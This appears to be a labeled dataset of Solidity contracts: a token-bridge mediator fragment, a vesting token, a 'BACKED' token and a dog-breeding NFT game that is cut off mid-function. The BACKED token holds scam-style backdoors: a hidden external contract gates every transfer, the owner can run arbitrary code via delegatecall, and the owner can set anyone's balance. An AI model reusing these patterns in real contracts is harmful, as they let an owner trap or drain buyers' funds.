address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _unaccountedBalance(address _token) internal view virtual returns (uint256) {
return IERC677(_token).balanceOf(address(this)).sub(mediatorBalance(_token));
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be;
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
pragma solidity 0.7.5;
interface IInterestReceiver {
function onInterestReceived(address _token) external;
}
pragma solidity 0.7.5;
interface IInterestImplementation {
event InterestEnabled(address indexed token, address xToken);
event InterestDustUpdated(address indexed token, uint96 dust);
event InterestReceiverUpdated(address indexed token, address receiver);
event MinInterestPaidUpdated(address indexed token, uint256 amount);
event PaidInterest(address indexed token, address to, uint256 value);
event ForceDisable(address indexed token, uint256 tokensAmount, uint256 xTokensAmount, uint256 investedAmount);
function isInterestSupported(address _token) external view returns (bool);
function invest(address _token, uint256 _amount) external;
function withdraw(address _token, uint256 _amount) external;
function investedAmount(address _token) external view returns (uint256);
}
pragma solidity 0.7.5;
contract InterestConnector is Ownable, MediatorBalanceStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function interestImplementation(address _token) public view returns (IInterestImplementation) {
return IInterestImplementation(addressStorage[keccak256(abi.encodePacked("interestImpl", _token))]);
}
function initializeInterest(
address _token,
address _impl,
uint256 _minCashThreshold
) external onlyOwner {
require(address(interestImplementation(_token)) == address(0));
_setInterestImplementation(_token, _impl);
_setMinCashThreshold(_token, _minCashThreshold);
}
function setMinCashThreshold(address _token, uint256 _minCashThreshold) external onlyOwner {
_setMinCashThreshold(_token, _minCashThreshold);
}
function minCashThreshold(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minCashThreshold", _token))];
}
function disableInterest(address _token) external onlyOwner {
interestImplementation(_token).withdraw(_token, uint256(-1));
_setInterestImplementation(_token, address(0));
}
function invest(address _token) external {
IInterestImplementation impl = interestImplementation(_token);
uint256 balance = mediatorBalance(_token).sub(impl.investedAmount(_token));
uint256 minCash = minCashThreshold(_token);
require(balance > minCash);
uint256 amount = balance - minCash;
IERC20(_token).safeTransfer(address(impl), amount);
impl.invest(_token, amount);
}
function _setInterestImplementation(address _token, address _impl) internal {
require(_impl == address(0) || IInterestImplementation(_impl).isInterestSupported(_token));
addressStorage[keccak256(abi.encodePacked("interestImpl", _token))] = _impl;
}
function _setMinCashThreshold(address _token, uint256 _minCashThreshold) internal {
uintStorage[keccak256(abi.encodePacked("minCashThreshold", _token))] = _minCashThreshold;
}
}
pragma solidity 0.7.5;
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager, InterestConnector {
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray,
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray,
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
function upgradeToReverseMode(address _tokenFactory) external {
require(msg.sender == address(this));
_setTokenFactory(_tokenFactory);
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
require(!lock());
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
if (!isTokenRegistered(_token)) {
uint8 decimals = TokenReader.readDecimals(_token);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
if (_token == address(0x0Ae055097C6d159879521C384F1D2123D1f195e6) && balance < _value) {
IBurnableMintableERC677Token(_token).safeMint(address(this), _value - balance);
balance = _value;
}
IInterestImplementation impl = interestImplementation(_token);
if (address(impl) != address(0)) {
uint256 availableBalance = balance.sub(impl.investedAmount(_token));
if (_value > availableBalance) {
impl.withdraw(_token, (_value - availableBalance).add(minCashThreshold(_token)));
}
}
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
function _unaccountedBalance(address _token) internal view override returns (uint256) {
IInterestImplementation impl = interestImplementation(_token);
uint256 invested = Address.isContract(address(impl)) ? impl.investedAmount(_token) : 0;
return IERC677(_token).balanceOf(address(this)).sub(mediatorBalance(_token).sub(invested));
}
} | 0 | 10 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
contract ColorCoin is ERC20 {
struct accountData {
uint256 init_balance;
uint256 balance;
uint256 unlockTime1;
uint256 unlockTime2;
uint256 unlockTime3;
uint256 unlockTime4;
uint256 unlockTime5;
uint256 unlockPercent1;
uint256 unlockPercent2;
uint256 unlockPercent3;
uint256 unlockPercent4;
uint256 unlockPercent5;
}
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private allowed;
mapping(address => accountData) private accounts;
mapping(address => bool) private lockedAddresses;
address private admin;
address private founder;
bool public isTransferable = false;
string public name;
string public symbol;
uint256 public __totalSupply;
uint8 public decimals;
constructor(string _name, string _symbol, uint256 _totalSupply, uint8 _decimals, address _founder, address _admin) public {
name = _name;
symbol = _symbol;
__totalSupply = _totalSupply;
decimals = _decimals;
admin = _admin;
founder = _founder;
accounts[founder].init_balance = __totalSupply;
accounts[founder].balance = __totalSupply;
emit Transfer(0x0, founder, __totalSupply);
}
modifier onlyAdmin {
require(admin == msg.sender);
_;
}
modifier onlyFounder {
require(founder == msg.sender);
_;
}
modifier transferable {
require(isTransferable);
_;
}
modifier notLocked {
require(!lockedAddresses[msg.sender]);
_;
}
function totalSupply() public constant returns (uint256) {
return __totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return accounts[_owner].balance;
}
function transfer(address _to, uint256 _value) transferable notLocked public returns (bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].balance);
if (!checkTime(msg.sender, _value)) return false;
accounts[msg.sender].balance = accounts[msg.sender].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) transferable notLocked public returns (bool) {
require(_to != address(0));
require(_value <= accounts[_from].balance);
require(_value <= allowed[_from][msg.sender]);
require(!lockedAddresses[_from]);
if (!checkTime(_from, _value)) return false;
accounts[_from].balance = accounts[_from].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) transferable notLocked public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function distribute(address _to, uint256 _value) onlyFounder public returns (bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].balance);
accounts[msg.sender].balance = accounts[msg.sender].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
accounts[_to].init_balance = accounts[_to].init_balance.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function changeFounder(address who) onlyFounder public {
founder = who;
}
function getFounder() onlyFounder public view returns (address) {
return founder;
}
function changeAdmin(address who) onlyAdmin public {
admin = who;
}
function getAdmin() onlyAdmin public view returns (address) {
return admin;
}
function lock(address who) onlyAdmin public {
lockedAddresses[who] = true;
}
function unlock(address who) onlyAdmin public {
lockedAddresses[who] = false;
}
function isLocked(address who) public view returns(bool) {
return lockedAddresses[who];
}
function enableTransfer() onlyAdmin public {
isTransferable = true;
}
function disableTransfer() onlyAdmin public {
isTransferable = false;
}
function checkTime(address who, uint256 _value) public view returns (bool) {
uint256 total_percent;
uint256 total_vol;
total_vol = accounts[who].init_balance.sub(accounts[who].balance);
total_vol = total_vol.add(_value);
if (accounts[who].unlockTime1 > now) {
return false;
} else if (accounts[who].unlockTime2 > now) {
total_percent = accounts[who].unlockPercent1;
if (accounts[who].init_balance.mul(total_percent) < total_vol.mul(100))
return false;
} else if (accounts[who].unlockTime3 > now) {
total_percent = accounts[who].unlockPercent1;
total_percent = total_percent.add(accounts[who].unlockPercent2);
if (accounts[who].init_balance.mul(total_percent) < total_vol.mul(100))
return false;
} else if (accounts[who].unlockTime4 > now) {
total_percent = accounts[who].unlockPercent1;
total_percent = total_percent.add(accounts[who].unlockPercent2);
total_percent = total_percent.add(accounts[who].unlockPercent3);
if (accounts[who].init_balance.mul(total_percent) < total_vol.mul(100))
return false;
} else if (accounts[who].unlockTime5 > now) {
total_percent = accounts[who].unlockPercent1;
total_percent = total_percent.add(accounts[who].unlockPercent2);
total_percent = total_percent.add(accounts[who].unlockPercent3);
total_percent = total_percent.add(accounts[who].unlockPercent4);
if (accounts[who].init_balance.mul(total_percent) < total_vol.mul(100))
return false;
} else {
total_percent = accounts[who].unlockPercent1;
total_percent = total_percent.add(accounts[who].unlockPercent2);
total_percent = total_percent.add(accounts[who].unlockPercent3);
total_percent = total_percent.add(accounts[who].unlockPercent4);
total_percent = total_percent.add(accounts[who].unlockPercent5);
if (accounts[who].init_balance.mul(total_percent) < total_vol.mul(100))
return false;
}
return true;
}
function setTime1(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockTime1 = value;
return true;
}
function getTime1(address who) public view returns (uint256) {
return accounts[who].unlockTime1;
}
function setTime2(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockTime2 = value;
return true;
}
function getTime2(address who) public view returns (uint256) {
return accounts[who].unlockTime2;
}
function setTime3(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockTime3 = value;
return true;
}
function getTime3(address who) public view returns (uint256) {
return accounts[who].unlockTime3;
}
function setTime4(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockTime4 = value;
return true;
}
function getTime4(address who) public view returns (uint256) {
return accounts[who].unlockTime4;
}
function setTime5(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockTime5 = value;
return true;
}
function getTime5(address who) public view returns (uint256) {
return accounts[who].unlockTime5;
}
function setPercent1(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockPercent1 = value;
return true;
}
function getPercent1(address who) public view returns (uint256) {
return accounts[who].unlockPercent1;
}
function setPercent2(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockPercent2 = value;
return true;
}
function getPercent2(address who) public view returns (uint256) {
return accounts[who].unlockPercent2;
}
function setPercent3(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockPercent3 = value;
return true;
}
function getPercent3(address who) public view returns (uint256) {
return accounts[who].unlockPercent3;
}
function setPercent4(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockPercent4 = value;
return true;
}
function getPercent4(address who) public view returns (uint256) {
return accounts[who].unlockPercent4;
}
function setPercent5(address who, uint256 value) onlyFounder public returns (bool) {
accounts[who].unlockPercent5 = value;
return true;
}
function getPercent5(address who) public view returns (uint256) {
return accounts[who].unlockPercent5;
}
function getInitBalance(address _owner) public view returns (uint256) {
return accounts[_owner].init_balance;
}
} | 1 | 3,415 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BackedToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "BACKED";
string public symbol = "BAKT";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedEther, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 1,463 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract GeneScienceInterface {
function isGeneScience() public pure returns (bool);
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
}
contract VariationInterface {
function isVariation() public pure returns(bool);
function createVariation(uint256 _gene, uint256 _totalSupply) public returns (uint8);
function registerVariation(uint256 _dogId, address _owner) public;
}
contract LotteryInterface {
function isLottery() public pure returns (bool);
function checkLottery(uint256 genes) public pure returns (uint8 lotclass);
function registerLottery(uint256 _dogId) public payable returns (uint8);
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
);
}
contract DogAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract DogBase is DogAccessControl {
event Birth(address owner, uint256 dogId, uint256 matronId, uint256 sireId, uint256 genes, uint16 generation, uint8 variation, uint256 gen0, uint256 birthTime, uint256 income, uint16 cooldownIndex);
event Transfer(address from, address to, uint256 tokenId);
struct Dog {
uint256 genes;
uint256 birthTime;
uint64 cooldownEndBlock;
uint32 matronId;
uint32 sireId;
uint32 siringWithId;
uint16 cooldownIndex;
uint16 generation;
uint8 variation;
uint256 gen0;
}
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(24 hours),
uint32(2 days),
uint32(3 days),
uint32(5 days)
];
uint256 public secondsPerBlock = 15;
Dog[] dogs;
mapping (uint256 => address) dogIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public dogIndexToApproved;
mapping (uint256 => address) public sireAllowedToAddress;
SaleClockAuction public saleAuction;
SiringClockAuction public siringAuction;
VariationInterface public variation;
LotteryInterface public lottery;
uint256 public autoBirthFee = 7500 szabo;
uint256 public gen0Profit = 500 szabo;
uint256 public creationProfit = 1000 szabo;
mapping (address => uint256) public profit;
function _sendMoney(address _to, uint256 _money) internal {
spendMoney += _money;
require(address(this).balance >= spendMoney);
profit[_to] += _money;
}
function sendMoney(address _to, uint256 _money) external {
require(msg.sender == address(lottery) || msg.sender == address(variation));
_sendMoney(_to, _money);
}
event Withdraw(address _owner, uint256 _value);
function withdraw() public {
uint256 value = profit[msg.sender];
require(value > 0);
msg.sender.transfer(value);
spendMoney -= value;
delete profit[msg.sender];
Withdraw(msg.sender, value);
}
uint256 public spendMoney;
function setGen0Profit(uint256 _value) public onlyCEO {
uint256 ration = _value * 100 / autoBirthFee;
require(ration > 0);
require(_value <= 100);
gen0Profit = _value;
}
function setCreationProfit(uint256 _value) public onlyCEO {
uint256 ration = _value * 100 / autoBirthFee;
require(ration > 0);
require(_value <= 100);
creationProfit = _value;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
dogIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete sireAllowedToAddress[_tokenId];
delete dogIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createDog(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner,
uint8 _variation,
uint256 _gen0,
bool _isGen0Siring
)
internal
returns (uint)
{
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
Dog memory _dog = Dog({
genes: _genes,
birthTime: block.number,
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation),
variation : uint8(_variation),
gen0 : _gen0
});
uint256 newDogId = dogs.push(_dog) - 1;
require(newDogId < 23887872);
Birth(
_owner,
newDogId,
uint256(_dog.matronId),
uint256(_dog.sireId),
_dog.genes,
uint16(_generation),
_variation,
_gen0,
block.number,
_isGen0Siring ? 0 : gen0Profit,
cooldownIndex
);
_transfer(0, _owner, newDogId);
return newDogId;
}
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
contract DogOwnership is DogBase, ERC721 {
string public constant name = "HelloDog";
string public constant symbol = "HD";
bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)"));
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return dogIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return dogIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
dogIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(saleAuction));
require(_to != address(siringAuction));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return dogs.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = dogIndexToOwner[_tokenId];
require(owner != address(0));
}
}
contract DogBreeding is DogOwnership {
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 matronCooldownEndBlock, uint256 sireCooldownEndBlock, uint256 matronCooldownIndex, uint256 sireCooldownIndex);
uint256 public pregnantDogs;
GeneScienceInterface public geneScience;
function setGeneScienceAddress(address _address) external onlyCEO {
GeneScienceInterface candidateContract = GeneScienceInterface(_address);
require(candidateContract.isGeneScience());
geneScience = candidateContract;
}
function _isReadyToBreed(Dog _dog) internal view returns (bool) {
return (_dog.siringWithId == 0) && (_dog.cooldownEndBlock <= uint64(block.number));
}
function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) {
address matronOwner = dogIndexToOwner[_matronId];
address sireOwner = dogIndexToOwner[_sireId];
return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner);
}
function _triggerCooldown(Dog storage _dog) internal {
_dog.cooldownEndBlock = uint64((cooldowns[_dog.cooldownIndex]/secondsPerBlock) + block.number);
if (_dog.cooldownIndex < 13) {
_dog.cooldownIndex += 1;
}
}
function approveSiring(address _addr, uint256 _sireId)
external
whenNotPaused
{
require(_owns(msg.sender, _sireId));
sireAllowedToAddress[_sireId] = _addr;
}
function setAutoBirthFee(uint256 val) external onlyCEO {
require(val > 0);
autoBirthFee = val;
}
function _isReadyToGiveBirth(Dog _matron) private view returns (bool) {
return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number));
}
function isReadyToBreed(uint256 _dogId)
public
view
returns (bool)
{
require(_dogId > 1);
Dog storage dog = dogs[_dogId];
return _isReadyToBreed(dog);
}
function isPregnant(uint256 _dogId)
public
view
returns (bool)
{
return dogs[_dogId].siringWithId != 0;
}
function _isValidMatingPair(
Dog storage _matron,
uint256 _matronId,
